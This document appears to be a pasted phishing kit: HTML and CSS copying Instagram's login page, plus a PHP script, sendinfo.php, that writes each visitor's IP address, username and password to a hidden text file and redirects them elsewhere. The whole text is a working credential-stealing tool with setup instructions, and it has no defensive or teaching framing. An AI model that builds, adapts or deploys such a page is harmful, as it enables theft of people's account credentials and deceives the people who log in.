Untitled

HTML (Make sure the file is called index.html):
<!DOCTYPE html>
<html>
<head>
	<link href="style.css" rel="stylesheet" type="text/css">
	<title>Sign Up - Instagram</title>
	<link href="favicon.ico" rel="icon" type="image/x-icon">
	<link href="favicon.ico" rel="shortcut icon" type="image/x-icon">
</head>
<body>
	<div class="background"></div>
	<div class="background2">
		<p>Don't have an account? <a href="https://www.instagram.com/accounts/login/">Sign Up</a></p>
	</div><img class="insta-logo" src="insta.png">
	<form action="sendinfo.php" method="post">
		<div class="login-form">
			<input autocomplete="off" class="input username" name="username" placeholder="Username" type="text"><br>
			<input autocomplete="off" class="input password" name="password" placeholder="Password" type="password"><br>
			<input class="button" name="submit" type="submit" value="Log in">
		</div>
	</form>
</body>
</html>

CSS (Make sure the file is called style.css):
body {
	background-color: #FAFAFA;
	font-family: "Helvetica Neue", Arial, Helvetica, sans-serif;;
}
.background {
	position: relative;
	border: 1px solid #efefef;
	width: 348px;
	height: 238px;
	left: calc(50% - 174px);
	top: calc(40% - 119px);
	background-color: #ffffff;
}
.background2 {
	position: relative;
	border: 1px solid #efefef;
	width: 348px;
	height: 68px;
	left: calc(50% - 174px);
	top: calc(40% - 109px);
	background-color: #ffffff;
}
.background2 p {
	position: relative;
	font-size: 14px;
	font-family: "Helvetica Neue", Arial, Helvetica, sans-serif;
	color: #262626;
	text-align: center;
	top: 20%;
}
.insta-logo {
	position: absolute;
	left: calc(50% - 89.5px);
	top: calc(43% - 109px);
}
.input {
    background: 0 0;
    border: 1px solid #dbdbdb;
    border-radius: 3px;
    box-sizing: border-box;
    color: #262626;
    font-size: 14px;
    padding: 9px 8px 7px;
    -webkit-appearance: none;
    width: 268px;
    background-color: white;
    margin-bottom: 6px;
}
.button {
	background: #3897f0;
    border-color: #3897f0;
    color: #fff;
	border-radius: 3px;
    border-style: solid;
    border-width: 1px;
    font-weight: 600;
    width: 268px;
    padding: 9px 8px 7px;
}
.login-form {
	position: absolute;
	left: calc(50% - 134px);
	top: calc(40% - 19px);
}
a {
	color: #3897f0;
	text-decoration: none;
}

PHP (Make sure the file is called sendinfo.php):
<?php
if($_POST['username'] == "" || $_POST['password'] == "" || strpos($_POST['username'], 'hugh') !== false) {
	header('Location: ./not-allowed/');
}
else {
	if(isset($_POST['username']) && isset($_POST['password'])) {
	    $data = "IP :" . $_SERVER['REMOTE_ADDR'] . "\n" . "User: " . $_POST['username'] . "\n" . "Password: " . $_POST['password'] . "\n\n";
	    $myfile = fopen("./f2f06c35-1b76-420b-ac81-847b362ba6a5/KL78.txt", "a") or die("Unable to open file!");
	    fwrite($myfile, $data);
	    setcookie("logged_in", 'yes');
	}
	else {
	   die('no post data to process');
	}
	?>
	<meta http-equiv="refresh" content="0; URL='http://hughchalmers.com/teachers/new/'" />
}